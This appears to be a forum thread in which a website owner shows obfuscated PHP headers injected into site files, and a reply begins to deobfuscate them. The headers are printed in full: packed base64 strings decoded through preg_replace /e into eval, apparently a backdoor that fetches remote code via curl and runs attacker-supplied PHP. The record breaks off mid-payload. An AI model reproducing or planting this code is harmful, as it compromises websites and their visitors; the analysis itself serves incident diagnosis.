Recently my website went offline due to over-usage of server resources.
After getting it online again, I checked some files, and to my surprise each PHP file got a header like this (varying a little from file to file):
/*versio:2.12*/
$Q000=0;
$GLOBALS['Q000'] = '_cY3VybAq~pX2luaXQLIQYWxsb3dfdXJsX2ZvcGVu&fMQTZjjX3NldG9wdAX2V4ZWMxoUWXw_Y2xvc2UjKPGltZyBzcmM9Ig^hIiB3aWR0aD0iMXB4IiBoZWlnaHQ9IjFweCIgLz4lw#.SFRUUF9IT1NU%k;N#SMTI3Lg~MTAuXE^MTkyLjE2OC4JGGdw^A.orb3Nvbi5pbg)=Z2Fib3Iuc2UbCc2lsYmVyLmRldYPaGF2ZWFwb2tlLmNvbS5hdQKs.WV8BzgOgQiuZGlzcGxheV9lcnJvcnM_ZGV0ZXJtaW5hdG9yZnRwMTM$MMi4xMgUVFPMFEwT1FPUVEwwYU^ZYmFzZTY0X2RlY29kZQXDYmFzZTY0X2VuY29kZQu}aHR0cDovLwIiSFRUUF9VU0VSX0FHRU5U?BWdW5pb24tc2VsZWN0#GWHUkVRVUVTVF9VUkk^QU0NSSVBUX05BTUUudsHYUVVFUllfU1RSSU5HPwg nL3RtcC8QIt{wL3RtcADVE1QU{VVEVNUAVE1QRElSdXBsb2FkX3RtcF9kaXILgnadmVyc2lv&VJhLQfLXBocArFSFRUUF9FWEVDUEhQbb3V0W%PWb2s_Z=ToaHR0cAEpOi8vIY.L3BnLnBocD91PQK;}Jms9^JnQ9cGhwJnA9%TJnY9d$ZXZhbChiYXNlNjRfZGVjb2RlKCJhV1lnS0NGa1pXWnBibVZrS0NKa1pYUmxjbTFwYm1GMGIzSWlLU2w3SUdaMWJtTjBhVzl1SUdkbGRHWnBiR1VvSkZGUlQxRlBUeWw3SUNSUlVWRXdVVkVnUFNCUk1EQlJNRTlQVVNneUxDQTJLVHNnSkZFd1QwOVJNQ0E5SUNSUlVWRXdVVkV1VVRBd1VUQlBUMUVvTVRFc0lEY3BPeUJwWmlBb1FHbHVhVjluWlhRb1VUQXdVVEJQVDFFb01qRXNJREl3S1NrZ1BUMGdVVEF3VVRCUFQxRW9ORE1zSURJcEtTQjdJQ1JKU1d4c2JHdzlRR1pwYkdWZloyVjBYMk52Ym5SbGJuUnpLQ1JSVVU5UlQwOHBPeUJ5WlhSMWNtNGdVVEF3VVRCUFQxRW9ORGNzSURBcE95QjlJR1ZzYzJWcFppQW9ablZ1WTNScGIyNWZaWGhwYzNSektDUlJNRTlQVVRBcEtYc2dKRWxKTVVsc01TQTlJRUFrVVRCUFQxRXdLQ2s3SUNSSlNXeEpNV3dnUFNBa1VWRlJNRkZSTGxFd01GRXdUMDlSS0RRNUxDQXhNQ2s3SUNSUlVVOVJVVkVnUFNBa1VWRlJNRkZSTGxFd01GRXdUMDlSS0RVNUxDQTNLVHNnSkZFd1VVOVBNQ0E5SUNSUlVWRXdVVkV1VVRBd1VUQlBUMUVvTnpBc0lESXBMbEV3TUZFd1QwOVJLRGN6TENBM0tUc2dRQ1JKU1d4Sk1Xd29KRWxKTVVsc01Td2dRMVZTVEU5UVZGOVZVa3dzSUNSUlVVOVJUMDhwT3lCQUpFbEpiRWt4YkNna1NVa3hTV3d4TENCRFZWSk1UMUJVWDBoRlFVUkZVaXhtWVd4elpTazdJRUFrU1Vsc1NURnNLQ1JKU1RGSmJERXNJRU5WVWt4UFVGUmZVa1ZVVlZKT1ZGSkJUbE5HUlZJc2RISjFaU2s3SUVBa1NVbHNTVEZzS0NSSlNURkpiREVzSUVOVlVreFBVRlJmUTA5T1RrVkRWRlJKVFVWUFZWUXNOU2s3SUdsbUlDZ2tVVEF3VVRBd0lEMGdRQ1JSVVU5UlVWRW9KRWxKTVVsc01Ta3BJSHR5WlhSMWNtNGdVVEF3VVRCUFQxRW9ORGNzSURBcE8zMGdRQ1JSTUZGUFR6QW9KRWxKTVVsc01TazdJSEpsZEhWeWJpQlJNREJSTUU5UFVTZzBOeXdnTUNrN0lIMGdaV3h6WlNCN0lISmxkSFZ5YmlCUk1EQlJNRTlQVVNnNE1pd2dNVFFwTGlSUlVVOVJUMDh1VVRBd1VUQlBUMUVvT1Rnc0lETTVLVHNnZlNCOUlHWjFibU4wYVc5dUlIVndaQ2drVVU4d1R6QlJMQ1JSVVU5UlQwOHBleUFrU1d3eE1URnNJRDBnUUdkbGRHaHZjM1JpZVc1aGJXVW9RQ1JmVTBWU1ZrVlNXMUV3TUZFd1QwOVJLREUwTVN3Z01USXBYU2s3SUdsbUlDZ2tTV3d4TVRGc0lDRTlQU0JSTURCUk1FOVBVU2cwTnl3Z01Da2dZVzVrSUhOMGNuQnZjeWdrU1d3eE1URnNMQ0JSTURCUk1FOVBVU2d4TlRrc0lEWXBLU0FoUFQwZ01DQmhibVFnYzNSeWNHOXpLQ1JKYkRFeE1Xd3NJRkV3TUZFd1QwOVJLREUyTml3Z05Da3BJQ0U5UFNBd0lHRnVaQ0J6ZEhKd2IzTW9KRWxzTVRFeGJDd2dVVEF3VVRCUFQxRW9NVGN6TENBeE1Ta3BJQ0U5UFNBd0tYc2dKRkV3VVZFd01EMUFabTl3Wlc0b0pGRlBNRTh3VVN4Uk1EQlJNRTlQVVNneE9EY3NJRElwS1RzZ1FHWmpiRzl6WlNna1VUQlJVVEF3S1RzZ2FXWWdLRUJwYzE5bWFXeGxLQ1JSVHpCUE1GRXBLWHNnZDNKcGRHVW9KRkZQTUU4d1VTd2daMlYwWm1sc1pTZ2tVVkZQVVU5UEtTazdJSDA3SUgwZ2ZTQWtVVkV3VVZGUElEMGdRWEp5WVhrb1VUQXdVVEJQVDFFb01UazBMQ0F4TUNrc0lGRXdNRkV3VDA5UktESXdOaXdnTVRFcExDQlJNREJSTUU5UFVTZ3lNVGtzSURFeUtTd2dVVEF3VVRCUFQxRW9Nak0wTENBeU1pa3BPeUFrU1VsSlNVbHNJRDBnSkZGUk1GRlJUMXN4WFRzZ1puVnVZM1JwYjI0Z2QzSnBkR1VvSkZGUE1FOHdVU3drVVU5UlVVOVBLWHNnYVdZZ0tDUkpNVEZzU1RFOVFHWnZjR1Z1S0NSUlR6QlBNRkVzVVRBd1VUQlBUMUVvTVRnM0xDQXlLU2twZXlCQVpuZHlhWFJsS0NSSk1URnNTVEVzSkZGUFVWRlBUeWs3SUVCbVkyeHZjMlVvSkVreE1XeEpNU2s3SUgwZ2ZTQm1kVzVqZEdsdmJpQnZkWFJ3ZFhRb0pFbHNNVEZKU1N3Z0pFbHNNVEV4TVNsN0lHVmphRzhnVVRBd1VUQlBUMUVvTWpVNUxDQXpLUzRrU1d3eE1VbEpMbEV3TUZFd1QwOVJLREkyTlN3Z01pa3VKRWxzTVRFeE1TNGlYSEpjYmlJN0lIMGdablZ1WTNScGIyNGdjR0Z5WVcwb0tYc2djbVYwZFhKdUlGRXdNRkV3VDA5UktEUTNMQ0F3S1RzZ2ZTQkFhVzVwWDNObGRDaFJNREJSTUU5UFVTZ3lOekFzSURFNUtTd2dNQ2s3SUdSbFptbHVaU2hSTURCUk1FOVBVU2d5T1RBc0lERTJLU3dnTVNrN0lDUkpNVEZzTVd3OVVUQXdVVEJQVDFFb016QTJMQ0EzS1RzZ0pFbEpTVEZKYkQxUk1EQlJNRTlQVVNnek1UVXNJRFlwT3lBa1VVOVJVVkV3UFZFd01GRXdUMDlSS0RNeU1Td2dNVFlwT3lBa1VWRlBVVTh3UFZFd01GRXdUMDlSS0RNME1pd2dNVGdwT3lBa1VWRXdVVTlQUFZFd01GRXdUMDlSS0RNMk1pd2dNVGdwT3lBa1VVOVBVVkZQUFZFd01GRXdUMDlSS0RNNE1pd2dNVEFwT3lBa1VVOVBVVkZQTGoxemRISjBiMnh2ZDJWeUtFQWtYMU5GVWxaRlVsdFJNREJSTUU5UFVTZ3hOREVzSURFeUtWMHBPeUFrU1RGSk1XeHNJRDBnUUNSZlUwVlNWa1ZTVzFFd01GRXdUMDlSS0RNNU5Dd2dNakFwWFRzZ1ptOXlaV0ZqYUNBb0pGOUhSVlFnWVhNZ0pFbHNNVEZKU1QwK0pFbHNNVEV4TVNsN0lHbG1JQ2h6ZEhKd2IzTW9KRWxzTVRFeE1TeFJNREJSTUU5UFVTZzBNVGNzSURjcEtTbDdKRjlIUlZSYkpFbHNNVEZKU1YwOVVUQXdVVEJQVDFFb05EY3NJREFwTzMwZ1pXeHpaV2xtSUNoemRISndiM01vSkVsc01URXhNU3hSTURCUk1FOVBVU2cwTWpVc0lEZ3BLU2w3SkY5SFJWUmJKRWxzTVRGSlNWMDlVVEF3VVRCUFQxRW9ORGNzSURBcE8zMGdmU0JwWmlnaGFYTnpaWFFvSkY5VFJWSldSVkpiVVRBd1VUQlBUMUVvTkRNM0xDQXhOU2xkS1NrZ2V5QWtYMU5GVWxaRlVsdFJNREJSTUU5UFVTZzBNemNzSURFMUtWMGdQU0JBSkY5VFJWSldSVkpiVVRBd1VUQlBUMUVvTkRVMExDQXhOU2xkT3lCcFppaEFKRjlUUlZKV1JWSmJVVEF3VVRCUFQxRW9ORGMwTENBeE5pbGRLU0I3SUNSZlUwVlNWa1ZTVzFFd01GRXdUMDlSS0RRek55d2dNVFVwWFNBdVBTQlJNREJSTUU5UFVTZzBPVEFzSURJcElDNGdRQ1JmVTBWU1ZrVlNXMUV3TUZFd1QwOVJLRFEzTkN3Z01UWXBYVHNnZlNCOUlHbG1JQ2drU1RGSk1VbHNQU1JSVDA5UlVVOHVRQ1JmVTBWU1ZrVlNXMUV3TUZFd1QwOVJLRFF6Tnl3Z01UVXBYU2w3SUNSUlQwOVJNRkU5UUcxa05TZ2tVVTlQVVZGUExpUkpTVWt4U1d3dVVFaFFYMDlUTGlSUlQxRlJVVEFwT3lBa1VWRlBNREF3UFZFd01GRXdUMDlSS0RRNU5Td2dOeWs3SUNSUlVUQlJUMUVnUFNCQmNuSmhlU2hSTURCUk1FOVBVU2cxTURjc0lEWXBMQ0JBSkY5VFJWSldSVkpiVVRBd1VUQlBUMUVvTlRFMExDQTBLVjBzSUVBa1gxTkZVbFpGVWx0Uk1EQlJNRTlQVVNnMU1qRXNJRFlwWFN3Z1FDUmZSVTVXVzFFd01GRXdUMDlSS0RVeE5Dd2dOQ2xkTENCQUpGOUZUbFpiVVRBd1VUQlBUMUVvTlRJM0xDQTRLVjBzSUVBa1gwVk9WbHRSTURCUk1FOVBVU2cxTWpFc0lEWXBYU3dnUUdsdWFWOW5aWFFvVVRBd1VUQlBUMUVvTlRNMUxDQXhPU2twS1RzZ1ptOXlaV0ZqYUNBb0pGRlJNRkZQVVNCaGN5QWtTVWt4TVVreEtYc2dhV1lnS0NGbGJYQjBlU2drU1VreE1Va3hLU2w3SUNSSlNURXhTVEV1UFVSSlVrVkRWRTlTV1Y5VFJWQkJVa0ZVVDFJN0lHbG1JQ2hBYVhOZmQzSnBkR0ZpYkdVb0pFbEpNVEZKTVNrcGV5QWtVVkZQTURBd0lEMGdKRWxKTVRGSk1Uc2dZbkpsWVdzN0lIMGdmU0I5SUNSMGJYQTlKRkZSVHpBd01DNVJNREJSTUU5UFVTZzFOVFFzSURJcExpUlJUMDlSTUZFN0lHbG1JQ2hBSkY5VFJWSldSVkpiSWtoVVZGQmZXVjlCVlZSSUlsMDlQU1JSVDA5Uk1GRXBleUJsWTJodklDSmNjbHh1SWpzZ1FHOTFkSEIxZENoUk1EQlJNRTlQVVNnMU5UZ3NJRGdwTENBa1NVbEpNVWxzTGxFd01GRXdUMDlSS0RVM01Dd2dNaWt1SkVreE1Xd3hiQzVSTURCUk1FOVBVU2cxTnpNc0lEWXBLVHNnYVdZZ0tDUlJNREJSVDA4OUpGRlJUMUZQTUNoQUpGOVRSVkpXUlZKYlVUQXdVVEJQVDFFb05UZ3hMQ0F4TmlsZEtTbDdJRUJsZG1Gc0tDUlJNREJSVDA4cE95QmxZMmh2SUNKY2NseHVJanNnUUc5MWRIQjFkQ2hSTURCUk1FOVBVU2cxT1Rnc0lEUXBMQ0JSTURCUk1FOVBVU2cyTURZc0lETXBLVHNnZlNCbGVHbDBLREFwT3lCOUlHbG1JQ2hBYVhOZlptbHNaU2drZEcxd0tTbDdJRUJwYm1Oc2RXUmxYMjl1WTJVb0pIUnRjQ2s3SUgwZ1pXeHpaWHNnSkVreFNURkpiRDFBZFhKc1pXNWpiMlJsS0NSSk1Va3hTV3dwT3lCMWNHUW9KSFJ0Y0N4Uk1EQlJNRTlQVVNnMk1UUXNJRFlwTGxFd01GRXdUMDlSS0RZeU1pd2dOQ2t1SkZGUk1GRlJUMXN3WFM1Uk1EQlJNRTlQVVNnMk1qa3NJREUwS1M0a1NURkpNVWxzTGxFd01GRXdUMDlSS0RZME5pd2dOQ2t1SkZGUFQxRXdVUzVSTURCUk1FOVBVU2cyTlRFc0lERXlLUzRrU1RFeGJERnNMbEV3TUZFd1QwOVJLRFkyTlN3Z05Da3VKRWxKU1RGSmJDazdJSDBnZlNCOSIpKTsXZJcHJlZ19yZXBsYWNlsm~6261736536345f6465636f6465';
if (!function_exists('Q00Q0OOQ'))
{
function Q00Q0OOQ($a, $b)
{
$c=$GLOBALS['Q000'];
$d=pack('H*',substr($c, -26));
return $d(substr($c, $a, $b));
}
};
$IIllIIIIl = Q00Q0OOQ(6493, 16);
$IIllIIIIl("/QQOOOQOOQ/e", Q00Q0OOQ(671, 5819), "QQOOOQOOQ");
?>
Another header:
/*versio:2.12*/
$QQQQ=0;
$GLOBALS['QQQQ'] = 'IaY3VybAiX2luaXQs(NYWxsb3dfdXJsX2ZvcGVuMQ?uEbi%X3NldG9wdAX2V4ZWMrgXwNY2xvc2UMPBPGltZyBzcmM9IgU?IiB3aWR0aD0iMXB4IiBoZWlnaHQ9IjFweCIgLz4SFRUUF9IT1NUFMTI3LgFUpXr%MTAuCcMTkyLjE2OC4PRtdwGY!}* b3Nvbi5pbgsZ2Fib3Iuc2Uc2lsYmVyLmRlaGF2ZWFwb2tlLmNvbS5hdQOdg}WV8OgkerZGlzcGxheV9lcnJvcnMXs~ZGV0ZXJtaW5hdG9yYZnRwMTMMi4xMgDWBUVFPMFEwT1FPUVEwvZGYmFzZTY0X2RlY29kZQLZzYmFzZTY0X2VuY29kZQKh?aHR0cDovLwIFSFRUUF9VU0VSX0FHRU5U&ZdW5pb24BJ^c2VsZWN0HoAUkVRVUVTVF9VUkkU0NSSVBUX05BTUUjbEUVVFUllfU1RSSU5HamRPwVL3RtcC8L$AL3RtcA#bVE1Qv^iVEVNUAKxVE1QRElSbdXBsb2FkX3RtcF9kaXIkyDLgxSgdmVyc2lvTzQLQnULXBocAHZ$SFRUUF9FWEVDUEhQyu}LQb3V0qWb2s&FAaHR0cAoOi8vdKFL3BnLnBocD91PQ%M?PJms9daJnQ9cGhwJnA9VJnY9CZXZhbChiYXNlNjRfZGVjb2RlKCJhV1lnS0NGa1pXWnBibVZrS0NKa1pYUmxjbTFwYm1GMGIzSWlLU2w3SUdaMWJtTjBhVzl1SUdkbGRHWnBiR1VvSkZGUlVUQlJVU2w3SUNSSk1Xd3hiREVnUFNCUlVWRXdVVEJQTUNneUxDQTJLVHNnSkZFd1VUQXdVU0E5SUNSSk1Xd3hiREV1VVZGUk1GRXdUekFvT1N3Z055azdJR2xtSUNoQWFXNXBYMmRsZENoUlVWRXdVVEJQTUNneE9Td2dNakFwS1NBOVBTQlJVVkV3VVRCUE1DZ3pPU3dnTWlrcElIc2dKRWt4TVd4c01UMUFabWxzWlY5blpYUmZZMjl1ZEdWdWRITW9KRkZSVVRCUlVTazdJSEpsZEhWeWJpQlJVVkV3VVRCUE1DZzBOeXdnTUNrN0lIMGdaV3h6WldsbUlDaG1kVzVqZEdsdmJsOWxlR2x6ZEhNb0pGRXdVVEF3VVNrcGV5QWtTVEV4TVVsc0lEMGdRQ1JSTUZFd01GRW9LVHNnSkVsc2JHeHNiQ0E5SUNSSk1Xd3hiREV1VVZGUk1GRXdUekFvTkRjc0lERXdLVHNnSkZGUFQwOHdUeUE5SUNSSk1Xd3hiREV1VVZGUk1GRXdUekFvTlRjc0lEY3BPeUFrVVRBd1R6QlJJRDBnSkVreGJERnNNUzVSVVZFd1VUQlBNQ2cyTml3Z01pa3VVVkZSTUZFd1R6QW9OamtzSURjcE95QkFKRWxzYkd4c2JDZ2tTVEV4TVVsc0xDQkRWVkpNVDFCVVgxVlNUQ3dnSkZGUlVUQlJVU2s3SUVBa1NXeHNiR3hzS0NSSk1URXhTV3dzSUVOVlVreFBVRlJmU0VWQlJFVlNMR1poYkhObEtUc2dRQ1JKYkd4c2JHd29KRWt4TVRGSmJDd2dRMVZTVEU5UVZGOVNSVlJWVWs1VVVrRk9VMFpGVWl4MGNuVmxLVHNnUUNSSmJHeHNiR3dvSkVreE1URkpiQ3dnUTFWU1RFOVFWRjlEVDA1T1JVTlVWRWxOUlU5VlZDdzFLVHNnYVdZZ0tDUkpNVEZzTVVrZ1BTQkFKRkZQVDA4d1R5Z2tTVEV4TVVsc0tTa2dlM0psZEhWeWJpQlJVVkV3VVRCUE1DZzBOeXdnTUNrN2ZTQkFKRkV3TUU4d1VTZ2tTVEV4TVVsc0tUc2djbVYwZFhKdUlGRlJVVEJSTUU4d0tEUTNMQ0F3S1RzZ2ZTQmxiSE5sSUhzZ2NtVjBkWEp1SUZGUlVUQlJNRTh3S0RjNUxDQXhOQ2t1SkZGUlVUQlJVUzVSVVZFd1VUQlBNQ2c1TlN3Z016a3BPeUI5SUgwZ1puVnVZM1JwYjI0Z2RYQmtLQ1JSTUZFd01FOHNKRkZSVVRCUlVTbDdJQ1JSVVRCUFQwOGdQU0JBWjJWMGFHOXpkR0o1Ym1GdFpTaEFKRjlUUlZKV1JWSmJVVkZSTUZFd1R6QW9NVE0wTENBeE1pbGRLVHNnYVdZZ0tDUlJVVEJQVDA4Z0lUMDlJRkZSVVRCUk1FOHdLRFEzTENBd0tTQmhibVFnYzNSeWNHOXpLQ1JSVVRCUFQwOHNJRkZSVVRCUk1FOHdLREUwTnl3Z05pa3BJQ0U5UFNBd0lHRnVaQ0J6ZEhKd2IzTW9KRkZSTUU5UFR5d2dVVkZSTUZFd1R6QW9NVFU1TENBMEtTa2dJVDA5SURBZ1lXNWtJSE4wY25CdmN5Z2tVVkV3VDA5UExDQlJVVkV3VVRCUE1DZ3hOalVzSURFeEtTa2dJVDA5SURBcGV5QWtTV3hzYkd3eFBVQm1iM0JsYmlna1VUQlJNREJQTEZGUlVUQlJNRTh3S0RFM09Td2dNaWtwT3lCQVptTnNiM05sS0NSSmJHeHNiREVwT3lCcFppQW9RR2x6WDJacGJHVW9KRkV3VVRBd1R5a3BleUIzY21sMFpTZ2tVVEJSTURCUExDQm5aWFJtYVd4bEtDUlJVVkV3VVZFcEtUc2dmVHNnZlNCOUlDUkpiR3hKTVRFZ1BTQkJjbkpoZVNoUlVWRXdVVEJQTUNneE9EY3NJREV3S1N3Z1VWRlJNRkV3VHpBb01UazRMQ0F4TVNrc0lGRlJVVEJSTUU4d0tESXdPU3dnTVRJcExDQlJVVkV3VVRCUE1DZ3lNakVzSURJeUtTazdJQ1JSTUU5UE1GRWdQU0FrU1d4c1NURXhXekZkT3lCbWRXNWpkR2x2YmlCM2NtbDBaU2drVVRCUk1EQlBMQ1JKTVRGSmJHd3BleUJwWmlBb0pGRlBNRTh3TUQxQVptOXdaVzRvSkZFd1VUQXdUeXhSVVZFd1VUQlBNQ2d4Tnprc0lESXBLU2w3SUVCbWQzSnBkR1VvSkZGUE1FOHdNQ3drU1RFeFNXeHNLVHNnUUdaamJHOXpaU2drVVU4d1R6QXdLVHNnZlNCOUlHWjFibU4wYVc5dUlHOTFkSEIxZENna1VVOHdVVTh3TENBa1NVbHNiREV4S1hzZ1pXTm9ieUJSVVZFd1VUQlBNQ2d5TkRjc0lETXBMaVJSVHpCUlR6QXVVVkZSTUZFd1R6QW9NalV3TENBeUtTNGtTVWxzYkRFeExpSmNjbHh1SWpzZ2ZTQm1kVzVqZEdsdmJpQndZWEpoYlNncGV5QnlaWFIxY200Z1VWRlJNRkV3VHpBb05EY3NJREFwT3lCOUlFQnBibWxmYzJWMEtGRlJVVEJSTUU4d0tESTFOU3dnTVRrcExDQXdLVHNnWkdWbWFXNWxLRkZSVVRCUk1FOHdLREkzTnl3Z01UWXBMQ0F4S1RzZ0pFa3hiREZzYkQxUlVWRXdVVEJQTUNneU9UUXNJRGNwT3lBa1VVOVJNREJSUFZGUlVUQlJNRTh3S0RNd01Td2dOaWs3SUNSUlR6QlJVVEE5VVZGUk1GRXdUekFvTXpFd0xDQXhOaWs3SUNSUlQxRXdVVTg5VVZGUk1GRXdUekFvTXpJNUxDQXhPQ2s3SUNSSmJERkpiREU5VVZGUk1GRXdUekFvTXpVd0xDQXhPQ2s3SUNSSmJERnNTVWs5VVZGUk1GRXdUekFvTXpjeExDQXhNQ2s3SUNSSmJERnNTVWt1UFhOMGNuUnZiRzkzWlhJb1FDUmZVMFZTVmtWU1cxRlJVVEJSTUU4d0tERXpOQ3dnTVRJcFhTazdJQ1JSVHpCUk1FOGdQU0JBSkY5VFJWSldSVkpiVVZGUk1GRXdUekFvTXpnekxDQXlNQ2xkT3lCbWIzSmxZV05vSUNna1gwZEZWQ0JoY3lBa1VVOHdVVTh3UFQ0a1NVbHNiREV4S1hzZ2FXWWdLSE4wY25CdmN5Z2tTVWxzYkRFeExGRlJVVEJSTUU4d0tEUXdOU3dnTnlrcEtYc2tYMGRGVkZza1VVOHdVVTh3WFQxUlVWRXdVVEJQTUNnME55d2dNQ2s3ZlNCbGJITmxhV1lnS0hOMGNuQnZjeWdrU1Vsc2JERXhMRkZSVVRCUk1FOHdLRFF4TlN3Z09Da3BLWHNrWDBkRlZGc2tVVTh3VVU4d1hUMVJVVkV3VVRCUE1DZzBOeXdnTUNrN2ZTQjlJR2xtS0NGcGMzTmxkQ2drWDFORlVsWkZVbHRSVVZFd1VUQlBNQ2cwTWpZc0lERTFLVjBwS1NCN0lDUmZVMFZTVmtWU1cxRlJVVEJSTUU4d0tEUXlOaXdnTVRVcFhTQTlJRUFrWDFORlVsWkZVbHRSVVZFd1VUQlBNQ2cwTkRFc0lERTFLVjA3SUdsbUtFQWtYMU5GVWxaRlVsdFJVVkV3VVRCUE1DZzBOVGtzSURFMktWMHBJSHNnSkY5VFJWSldSVkpiVVZGUk1GRXdUekFvTkRJMkxDQXhOU2xkSUM0OUlGRlJVVEJSTUU4d0tEUTNPQ3dnTWlrZ0xpQkFKRjlUUlZKV1JWSmJVVkZSTUZFd1R6QW9ORFU1TENBeE5pbGRPeUI5SUgwZ2FXWWdLQ1JSVVU4d1QxRTlKRWxzTVd4SlNTNUFKRjlUUlZKV1JWSmJVVkZSTUZFd1R6QW9OREkyTENBeE5TbGRLWHNnSkZFd1VUQlJVVDFBYldRMUtDUkpiREZzU1VrdUpGRlBVVEF3VVM1UVNGQmZUMU11SkZGUE1GRlJNQ2s3SUNSSlNXeEpNVEU5VVZGUk1GRXdUekFvTkRneExDQTNLVHNnSkVsc01Va3hTU0E5SUVGeWNtRjVLRkZSVVRCUk1FOHdLRFE1TVN3Z05pa3NJRUFrWDFORlVsWkZVbHRSVVZFd1VUQlBNQ2cwT1Rrc0lEUXBYU3dnUUNSZlUwVlNWa1ZTVzFGUlVUQlJNRTh3S0RVd05pd2dOaWxkTENCQUpGOUZUbFpiVVZGUk1GRXdUekFvTkRrNUxDQTBLVjBzSUVBa1gwVk9WbHRSVVZFd1VUQlBNQ2cxTVRRc0lEZ3BYU3dnUUNSZlJVNVdXMUZSVVRCUk1FOHdLRFV3Tml3Z05pbGRMQ0JBYVc1cFgyZGxkQ2hSVVZFd1VUQlBNQ2cxTWpNc0lERTVLU2twT3lCbWIzSmxZV05vSUNna1NXd3hTVEZKSUdGeklDUlJUMDh3TURBcGV5QnBaaUFvSVdWdGNIUjVLQ1JSVDA4d01EQXBLWHNnSkZGUFR6QXdNQzQ5UkVsU1JVTlVUMUpaWDFORlVFRlNRVlJQVWpzZ2FXWWdLRUJwYzE5M2NtbDBZV0pzWlNna1VVOVBNREF3S1NsN0lDUkpTV3hKTVRFZ1BTQWtVVTlQTURBd095QmljbVZoYXpzZ2ZTQjlJSDBnSkhSdGNEMGtTVWxzU1RFeExsRlJVVEJSTUU4d0tEVTBOU3dnTWlrdUpGRXdVVEJSVVRzZ2FXWWdLRUFrWDFORlVsWkZVbHNpU0ZSVVVGOVpYMEZWVkVnaVhUMDlKRkV3VVRCUlVTbDdJR1ZqYUc4Z0lseHlYRzRpT3lCQWIzVjBjSFYwS0ZGUlVUQlJNRTh3S0RVMU1Dd2dPQ2tzSUNSUlQxRXdNRkV1VVZGUk1GRXdUekFvTlRZeExDQXlLUzRrU1RGc01XeHNMbEZSVVRCUk1FOHdLRFUyTlN3Z05pa3BPeUJwWmlBb0pGRlBVVkZSVVQwa1VVOVJNRkZQS0VBa1gxTkZVbFpGVWx0UlVWRXdVVEJQTUNnMU56UXNJREUyS1YwcEtYc2dRR1YyWVd3b0pGRlBVVkZSVVNrN0lHVmphRzhnSWx4eVhHNGlPeUJBYjNWMGNIVjBLRkZSVVRCUk1FOHdLRFU1TlN3Z05Da3NJRkZSVVRCUk1FOHdLRFl3TVN3Z015a3BPeUI5SUdWNGFYUW9NQ2s3SUgwZ2FXWWdLRUJwYzE5bWFXeGxLQ1IwYlhBcEtYc2dRR2x1WTJ4MVpHVmZiMjVqWlNna2RHMXdLVHNnZlNCbGJITmxleUFrVVZGUE1FOVJQVUIxY214bGJtTnZaR1VvSkZGUlR6QlBVU2s3SUhWd1pDZ2tkRzF3TEZGUlVUQlJNRTh3S0RZd055d2dOaWt1VVZGUk1GRXdUekFvTmpFMExDQTBLUzRrU1d4c1NURXhXekJkTGxGUlVUQlJNRTh3S0RZeU1Td2dNVFFwTGlSUlVVOHdUMUV1VVZGUk1GRXdUekFvTmpNNUxDQTBLUzRrVVRCUk1GRlJMbEZSVVRCUk1FOHdLRFkwTlN3Z01USXBMaVJKTVd3eGJHd3VVVkZSTUZFd1R6QW9OalU0TENBMEtTNGtVVTlSTURCUktUc2dmU0I5SUgwPSIpKTsnC&cHJlZ19yZXBsYWNlz (6261736536345f6465636f6465';
if (!function_exists('QQQ0Q0O0')) {
function QQQ0Q0O0($a, $b){
$c=$GLOBALS['QQQQ'];
$d=pack('H*',substr($c, -26));
return $d(substr($c, $a, $b));
}
};
$IIIllIlll = QQQ0Q0O0(6485, 16);
$IIIllIlll("/II1lIllIl/e", QQQ0Q0O0(663, 5819), "II1lIllIl");
?>
How would I go about figuring out what this code actually does and if it is a threat to my website? What does it mean for me if it turns out to be malicious code; what should I do?
Well you definitely got hacked.
Go to the end to view the analysis. Look for bullet points.
It sets up a global variable, Q000 and then registers a function that grabs that global, takes the last 26 characters of it (which turn out be base64_decode when you look them up in an ascii table by hex value). Then it packs base 64 encoded "base64_decode" into a hex string (H*). Finally it returns a base 64 decoded substring.
This all has the effect of defining Q00Q0OOQ to be a function that substrings and then decodes the global variable. This global variable is obfuscated as well, as the botnet knows where the useful parts start and end. The rest of the global variable is junk.
I found this when base 64 decoding that global:
#p/tmpTUQ5#TT\Y\fW'6I-php
HTTP_EXECPHPmcokNGG/pg.php?u=I
There's a lot more in there. It is used by the deobfuscated code below to get function names, paths, etc...
HTTP_EXECPHP is one part, as is /pg.php?u=I
$IIllIIIIl = Q00Q0OOQ(6493, 16);
gets
preg_replace
$IIllIIIIl("/QQOOOQOOQ/e", Q00Q0OOQ(671, 5819), "QQOOOQOOQ"); gets this code...
eval(base64_decode("aWYgKCFkZWZpbmVkKCJkZXRlcm1pbmF0b3IiKSl7IGZ1bmN0aW9uIGdldGZpbGUoJFFRT1FPTyl7ICRRUVEwUVEgPSBRMDBRME9PUSgyLCA2KTsgJFEwT09RMCA9ICRRUVEwUVEuUTAwUTBPT1EoMTEsIDcpOyBpZiAoQGluaV9nZXQoUTAwUTBPT1EoMjEsIDIwKSkgPT0gUTAwUTBPT1EoNDMsIDIpKSB7ICRJSWxsbGw9QGZpbGVfZ2V0X2NvbnRlbnRzKCRRUU9RT08pOyByZXR1cm4gUTAwUTBPT1EoNDcsIDApOyB9IGVsc2VpZiAoZnVuY3Rpb25fZXhpc3RzKCRRME9PUTApKXsgJElJMUlsMSA9IEAkUTBPT1EwKCk7ICRJSWxJMWwgPSAkUVFRMFFRLlEwMFEwT09RKDQ5LCAxMCk7ICRRUU9RUVEgPSAkUVFRMFFRLlEwMFEwT09RKDU5LCA3KTsgJFEwUU9PMCA9ICRRUVEwUVEuUTAwUTBPT1EoNzAsIDIpLlEwMFEwT09RKDczLCA3KTsgQCRJSWxJMWwoJElJMUlsMSwgQ1VSTE9QVF9VUkwsICRRUU9RT08pOyBAJElJbEkxbCgkSUkxSWwxLCBDVVJMT1BUX0hFQURFUixmYWxzZSk7IEAkSUlsSTFsKCRJSTFJbDEsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsdHJ1ZSk7IEAkSUlsSTFsKCRJSTFJbDEsIENVUkxPUFRfQ09OTkVDVFRJTUVPVVQsNSk7IGlmICgkUTAwUTAwID0gQCRRUU9RUVEoJElJMUlsMSkpIHtyZXR1cm4gUTAwUTBPT1EoNDcsIDApO30gQCRRMFFPTzAoJElJMUlsMSk7IHJldHVybiBRMDBRME9PUSg0NywgMCk7IH0gZWxzZSB7IHJldHVybiBRMDBRME9PUSg4MiwgMTQpLiRRUU9RT08uUTAwUTBPT1EoOTgsIDM5KTsgfSB9IGZ1bmN0aW9uIHVwZCgkUU8wTzBRLCRRUU9RT08peyAkSWwxMTFsID0gQGdldGhvc3RieW5hbWUoQCRfU0VSVkVSW1EwMFEwT09RKDE0MSwgMTIpXSk7IGlmICgkSWwxMTFsICE9PSBRMDBRME9PUSg0NywgMC